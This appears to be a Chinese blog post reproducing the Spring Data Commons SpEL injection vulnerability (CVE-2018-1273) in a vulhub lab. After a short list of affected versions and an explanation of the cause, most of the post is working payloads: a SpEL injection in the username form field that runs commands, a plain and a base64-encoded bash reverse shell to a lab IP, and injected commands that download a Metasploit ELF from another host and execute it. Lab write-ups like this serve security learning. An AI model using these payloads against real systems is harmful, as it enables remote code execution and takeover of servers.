vulhub中spring的CVE-2018-1273漏洞复现
1.影响版本
Spring Data Commons 1.13 - 1.13.10 (Ingalls SR10)
Spring Data REST 2.6 - 2.6.10 (Ingalls SR10)
Spring Data Commons 2.0 to 2.0.5 (Kay SR5)
Spring Data REST 3.0 - 3.0.5 (Kay SR5)
2.漏洞原理
Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons是Spring Data下所有子项目共享的基础框架。Spring Data Commons 在2.0.5及以前版本中,存在一处SpEL表达式注入漏洞,攻击者可以注入恶意SpEL表达式以执行任意命令
3.具体流程
打开漏洞环境,后可以看到这个页面
可以利用dirb进行扫描目录,但是好像没有必要,毕竟是复现漏洞,已经知道有一个users了
打开http://192.168.188.128:8080/users可以看到这个页面
随便填上几个数,用burpsuiter抓包,将下面的 post方式提交的的信息用payload替换
payload
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/111111")]=&password=&repeatedPassword=
可以看到这个111111已经成功创建
拿到shell
bash -i >& /dev/tcp/192.168.140.43/1234 0>&1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0MC40My8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0MC40My8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}")]=&password=&repeatedPassword=
但是尝试之后并没有成功,利用msf生成一个elf,
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("weget http://192.168.188.139:1234/mshell.elf")]=&password=&repeatedPassword=
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("chmod 777 ./mshell.elf")]=&password=&repeatedPassword=
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("./mshell.elf")]=&password=&repeatedPassword=
之后就可以看到,shell已经成功反弹到msf
4.参考博客
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 分享一个免费、快速、无限量使用的满血 DeepSeek R1 模型,支持深度思考和联网搜索!
· 使用C#创建一个MCP客户端
· ollama系列1:轻松3步本地部署deepseek,普通电脑可用
· 基于 Docker 搭建 FRP 内网穿透开源项目(很简单哒)
· 按钮权限的设计及实现